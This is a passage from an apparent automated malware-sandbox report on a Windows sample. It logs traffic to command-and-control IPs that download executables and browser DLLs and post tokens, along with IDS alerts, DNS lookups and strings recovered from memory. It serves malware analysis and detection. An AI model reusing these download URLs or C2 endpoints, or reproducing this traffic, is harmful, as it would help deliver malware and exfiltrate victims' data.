name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"ybncbhylepme------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49719 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49733 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49725 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49740 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49752 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49758 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49793 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49889 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49927 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50010 -> 185.166.143.48:443

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6C99CC60 PR_Recv,

5_2_6C99CC60

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mynewworkspace123312/scnd/downloads/install1.exe HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/0f40a96a-7848-4016-a203-07b519fba576/install1.exe?response-content-disposition=attachment%3B%20filename%3D%22install1.exe%22&AWSAccessKeyId=ASIA6KOSE3BNMPYV42BK&Signature=HvQKw%2B7rPC9Au0reM8tFmSjyUuM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJGMEQCIGcbaj75RfyE4qJo3r3XVFv3yUBNzTvyq65K5fo0tgFJAiBoqozV5jurczfh%2BSCdTr%2Fn0o5BgClG1HcRgZdtNDu93yqwAgjP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMwGEzkuCFvdAzAorpKoQC9rOOY%2BI9aQSdvhjp9yQkQR%2BzmsQ%2FvS%2Ffu3rooGSLI9RF%2BjTHdXIDSOVEiwEHtVbQj4MYo0iuUHRNTru1P5WbM%2Bj3wnTHjchLeS%2BeH%2BRqt0CTXmpgd%2FG9LbMamEWt35cejrsMqpQofhEIVwUdliGqM8qh8F4Uz9KIgeElsJB56QYm4jTT82WeAM5%2BP4qQGa6K3ZGnH5d8lIrzv3gZWPj8JnvWB7N7oKK0RjsAgF0jRlqkjB6eIUYvVVHnMZ%2B6I27DMzZfZdh3GEZopVh0PKDKAfMjEmv%2FiGoO1UqPQ%2FEoDIl3bCg3aJHEQ0fv5fF34PeoXDwxQCd3qP7aB5o0CYaDrK4xCI4w%2B%2FGjuwY6ngHSuzeaxXZkRxD7%2By%2Fm%2BxWiZgEW0o6lvpB7UK%2FNMTWVuL8jqr9PQ7SFCbwmTJLcrHo5FhiihendM5N5qfoHvDGjVn9NyW8Xk4NI8ApSY7v8kBV0ClMfDqGcqBSsN0yRcaQfiNXkFKsNZlEfo4GsWuOQnuYWVJASTvl3lRQ0XlHPMe8Jc9j%2FxKBwWsANHBvcx1O0kgJX2SFLZ7%2FxnEBQrQ%3D%3D&Expires=1734934531 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/O
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Y
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001516000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe1s
Source: uLkHEqZ3u3.exe, 00000000.00000003.2435354753.00000000014D7000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2435131832.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/z
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeEM
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009FC000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/4
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll4
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001516000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001516000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll16
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll7q
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllN
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/N
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009B4000.00000040.00000001.01000000.00000009.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009FC000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009FC000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1850a91e9395ab6f80a3bec3e082Extension
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;.JS;.JSE;.WSF;.WS
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpPI
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpRj
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009B4000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpge
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009FC000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpge
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009B4000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000013.00000002.3383017404.0000000000A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
